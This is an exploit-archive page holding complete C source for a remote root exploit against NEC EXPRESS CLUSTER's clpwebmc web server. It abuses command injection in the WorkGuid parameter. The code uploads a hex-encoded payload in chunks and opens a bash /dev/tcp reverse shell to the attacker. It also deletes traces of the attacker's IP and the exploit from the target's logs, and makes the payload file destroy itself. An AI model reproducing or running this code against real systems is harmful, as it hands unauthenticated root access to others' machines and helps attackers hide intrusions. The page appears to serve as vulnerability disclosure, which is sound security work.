Twenty Year Anniversary

NEC EXPRESS CLUSTER clpwebmc Remote Root

NEC EXPRESS CLUSTER clpwebmc Remote Root
Posted Sep 5, 2017
Authored by cenobyte

NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster configuration and management. The underlying webserver 'clpwebmc' runs as root and accepts connections on TCP port 29003 which can be initiated without authentication in the default installation.

tags | exploit, java, root, tcp
systems | linux
MD5 | 26dd4a65030970268243b44404d0f359

NEC EXPRESS CLUSTER clpwebmc Remote Root

Change Mirror Download
/* 
* 2017 update: as of 3.3.4 this bug seems to be fixed
* - fixed versions:
* NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
* NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
*/
/*
* *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
*
* NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
* <vincitamorpatriae@gmail.com>
*
* - product description:
* NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
* recovery software solutions that address the fast recovery and continuous
* protection needs of business critical applications and data. With increased
* servers and complexity of server applications running Windows or Linux,
* EXPRESS CLUSTER minimizes planned and unplanned system outages.
*
* - vulnerability description:
* NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
* configuration and management. The underlying webserver 'clpwebmc' runs as
* root and accepts connections on TCP port 29003 which can be initiated without
* authentication in the default installation.
*
* A function is available to remove temporary work directories by issuing the
* following GET request to port 29003, appended with the location of the
* directory that is supposed to be deleted:
* GET /DeleteWorkDirectory.js?WorkGuid=directoryname
*
* The working of the DeleteWorkDirectory.js HTTP request roughly translates to
* the following C code:
*
* void
* remove_dir_path(char *WorkGuidParameter)
* {
* char x[128];
* snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
* WorkGuidParameter);
* system(x);
* }
*
* No input sanitation is performed and the supplied arguments are passed
* straight on to system(). By setting the WorkGuid parameter to '0' and
* appending a semicolon followed by arbritrary commands it is possible to
* execute those commands as root on the remote machine.
*
* Example HTTP GET request with command injection:
* GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
*
* Which results on the remote host:
* $ ls -la /tmp/id.txt
* -rw-rw-rw- 1 root root 57 Apr 20 16:37 /tmp/id.txt
* $ cat /tmp/id.txt
* uid=0(root) gid=0(root) groups=0(root)
*
* - tested vulnerable versions:
* NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
* NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
* NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
*
* - tested versions not vulnerable:
* NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
*
* - exploit details:
* This exploit is fully "weaponized" as they call it nowadays. It starts a
* listening port on the attacking host and connects back from the victim host
* using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
* run a firewall due to the nature of connect-back.
*
* A payload system is utilised where commands are encoded to hex and split into
* chunks. These chunks are then sent one by one to the victim host and appended
* to a temporary file using 'echo -ne'. The temporary file gets executed in the
* last request.
*
* For OPSEC purposes the temporary file will destroy itself and
* all traces of the exploit and your IP will be deleted from these log files:
* /opt/nec/clusterpro/log/webmgr.log.cur
* /opt/nec/clusterpro/log/webmgr.err.cur
*
* - exploit compilation:
* gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
*
* - the exploit connect-back listener is confirmed to work on:
* CentOS 6
* Fedora 22
* OS X 10.10.5
*
*/

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE 1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
"$(grep GetConfiguration %s.log.cur|" \
"grep IP=|tail -1|tr ':' '\\n'|" \
"grep Root=1|cut -d, -f1)" \
"/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
"grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
"cat %s.0>%s.$x.cur;" \
"rm -f %s.0;" \
"done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
* use /tmp but there's a fair chance that the sysadmin has mounted that with
* 'noexec'
*/
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
if ((port < 1) || (port > 65535)) {
printf("error: %d is an invalid %s port\n", port, p);
return(1);
}

return(0);
}

void
usage()
{
printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
printf("\t-p [port (default: %d)]\n", port);
printf("\t-c [connect-back port (default: %d)]\n", connectback);
printf("\t-m [admin user md5 hash]\n\n");
exit(1);
}

char
*genrandom()
{
int len = strlen(TMPPATH) + 8;
int n;

char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
char *r = malloc(sizeof(char)*(len + 1));

sprintf(&r[0], "%s/", TMPPATH);

srand(time(NULL));
for (n = strlen(TMPPATH) + 1; n < len; n++)
r[n] = s[rand() % strlen(s)];

r[len] = '\0';

return(r);
}

int
opensock(char *host, unsigned short int port)
{
int s;

struct hostent *target;
struct sockaddr_in addr;

target = gethostbyname(host);
if (target == NULL) {
perror("gethostbyname");
exit(1);
}

s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (s == -1) {
perror("socket");
exit(1);
}

memcpy(&addr.sin_addr, target->h_addr, target->h_length);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
perror("connect");
exit(1);
}

return(s);
}

void
sendsock(char *buf)
{
char readbuf[1024];

if (strlen(buf) >= MAXPROCCMD) {
printf("sendsock() max len exceeded");
exit(1);
}

sock = opensock(host, port);
if (write(sock, buf, strlen(buf)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
perror("read");
exit(1);
}

if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
printf("[!] md5 hash is invalid %s\n", md5);
else
printf("[!] unknown error: [%s][%lu]\n", readbuf,
strlen(readbuf));

exit(1);
}

#ifdef VERBOSE
printf("[-] sendsock(): HTTP/1.1 200 OK\n");
#endif
close(sock);
}

void
writepayload(char *p, char *path)
{
char buf[MAXPROCCMD];

if (md5 == NULL)
snprintf(buf, sizeof(buf), ECHO,
GET, p, path, HTTP);
else
snprintf(buf, sizeof(buf), ECHOAUTH,
GET, p, path, HTTP, AUTH, md5);

if (strlen(buf) > MAXPROCCMD) {
printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf);
exit(1);
}

sendsock(buf);
}

void
execpayload(char *path)
{
char buf[MAXPROCCMD];

printf("[*] executing payload\n");

if (md5 == NULL) {
snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
sendsock(buf);

snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
sendsock(buf);
} else {
snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
HTTP, AUTH, md5);
sendsock(buf);

snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
md5);
sendsock(buf);
}
}

void
sendcmd(char *p, char *path)
{
int i;
int n = 1;
int c = 0;
int maxchunksize;
int req;

static char buf[MAXPROCCMD];

if (md5 == NULL) {
req = strlen(GET) + strlen(HTTP) + strlen(path) + \
strlen(ECHO) + strlen(CRLF);
} else {
req = strlen(GET) + strlen(HTTP) + strlen(path) + \
strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \
strlen(md5);
}

#ifdef VERBOSE
printf("[-] command: \"%s\"\n", p);
#endif

maxchunksize = (MAXPROCCMD - req) / 4;

/* make the payload destroy itself on the filesystem during execution
*/
printf("[*] adding self destruct to payload: %s\n", path);
snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
writepayload(buf, path);
snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
writepayload(buf, path);

if (strlen(p) > maxchunksize) {
printf("[-] command exceeds available space in GET request\n");
printf("[-] have to split in chunks\n");
}

printf("[*] uploading command payload to: %s\n", path);
printf(" payload size: %lu\n", strlen(p));
printf(" payload chunk space: %d\n", maxchunksize);
printf(" number of chunks: %lu\n", strlen(p) / maxchunksize);

printf("[*] uploading:\n");
printf(" chunk %d", n);
#ifdef VERBOSE
printf(" | ");
#endif

/* turn commands into a hex payload of 'maxchunksize' byte chunks which
* are saved to the filesystem. this is to bypass '&' filtering and to
* get around the maximum size of GET requests allowed by clpwebmc
*/
for (i = 0; i < strlen(p); i++) {
sprintf(&buf[c * 4],"\\x%02x", p[i]);
#ifdef VERBOSE
printf(" %c ", p[i]);
#endif
if (c == (maxchunksize - 1)) {

#ifdef VERBOSE
printf("\n chunk %d", n);
printf(" | %s", buf);
#endif
printf("\n");
writepayload(buf, path);
c = 0;
n++;

printf(" chunk %d", n);
#ifdef VERBOSE
printf(" | ");
#endif
} else {
c++;
}
}

#ifdef VERBOSE
printf("\n chunk %d", n);
printf(" | %s", buf);
#endif
printf("\n");

writepayload(buf, path);

execpayload(path);
}

void
checkserver()
{
char buf[BUFSIZE];

sock = opensock(host, port);
if (write(sock, HEAD, strlen(HEAD)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, buf, sizeof(buf) - 1) < 0) {
perror("read");
exit(1);
}

close(sock);

/* older clpwebmc versions present themselves as: ClusterProWebmanager
* newer versions use: ClusterWebmanager
*/
if (strstr(buf, "Server: Cluster") == NULL || \
strstr(buf, "Webmanager") == NULL) {
printf("error: %s:%d is not running clpwebmc\n", host, port);
exit(1);
}

/* this GET request gets logged */
sock = opensock(host, port);
if (write(sock, INFO, strlen(INFO)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, buf, sizeof(buf) - 1) < 0) {
perror("read");
exit(1);
}

close(sock);

/* OS checker
* WebMgrVersion="WebMgr2.1.1_Linux"
* WebMgrVersion="WebMgr3.0.0_Win"
*/
if (strstr(buf, "_Linux\"") == NULL) {
printf("\n");
printf("[!] cannot exploit, %s is not running Linux\n", host);
printf(" (your IP has been logged by the target system)\n");
exit(1);
}

printf("[-] %s:%d is Linux running clpwebmc\n", host, port);

if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
printf("[!] cannot exploit: clpwebmc has a password set\n");
printf(" see usage how to send an admin password\n");
printf(" (your IP has been logged by the target system)\n");
printf("\n");
usage();
exit(1);
}
}

void
setuplistener()
{
struct sockaddr_in addr;

printf("[*] setting up connect-back listener on port: %d\n",
connectback);

if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("socket");
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(connectback);

if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}

if (listen(list_s, BUFSIZE) < 0) {
perror("listen");
exit(1);
}

/* set O_NONBLOCK on listening socket */
flags = fcntl(list_s, F_GETFL, 0);
if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
perror("fcntl");
exit(1);
}
}

void
connectshell()
{
int p;

char buf[BUFSIZE];

struct timeval tm;

fd_set rset;

printf("[*] connecting to shell\n");

#ifdef __APPLE__
/* remove O_NONBLOCK flag on OS X machines */
flags = fcntl(list_s, F_GETFL, 0);
if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
perror("fcntl");
exit(1);
}
#endif

if ((listsock = accept(list_s, NULL, NULL)) < 0) {
perror("accept");
exit(1);
}

p = send(listsock, CMD, strlen(CMD), 0);
if (p == -1) {
perror("send");
exit(1);
}

printf("[-] connect-back successful\n\n");

tm.tv_sec = 10;
tm.tv_usec = 0;

while (1) {
FD_ZERO(&rset);
FD_SET(listsock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(listsock + 1, &rset, NULL, NULL, &tm);

if (FD_ISSET(listsock, &rset)) {
p = read(listsock, buf, sizeof(buf) - 1);
if (p <= 0)
exit(0);

buf[p] = 0;
printf("%s", buf);
}

if (FD_ISSET(STDIN_FILENO, &rset)) {
p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

if (p > 0) {
buf[p] = 0;
write(listsock, buf, p);
}
}
}
}

int
main(int argc, char *argv[]) {
int opt;

char cmd[BUFSIZE];

printf("%s\n\n", HDR);

if (argc < 3)
usage();

while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
switch (opt) {
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
if (validport(port, "target") != 0)
exit(1);
break;
case 'c':
connectback = atoi(optarg);
if (validport(connectback, "connect-back") != 0)
exit(1);
break;
case 'm':
md5 = optarg;
printf("[-] using admin auth: %s\n", md5);
break;
default:
usage();
}

if (host == NULL)
usage();

checkserver();
setuplistener();

snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
sendcmd(cmd, genrandom());

/* remove all traces of the payload that were logged by webmgr
* also remove all remove_tmp_webm system entries as it reveals our vuln
*/
printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG);
snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
sendcmd(cmd, genrandom());

connectshell();

/* never reached */
return(0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    29 Files
  • 20
    Sep 20th
    18 Files
  • 21
    Sep 21st
    5 Files
  • 22
    Sep 22nd
    2 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close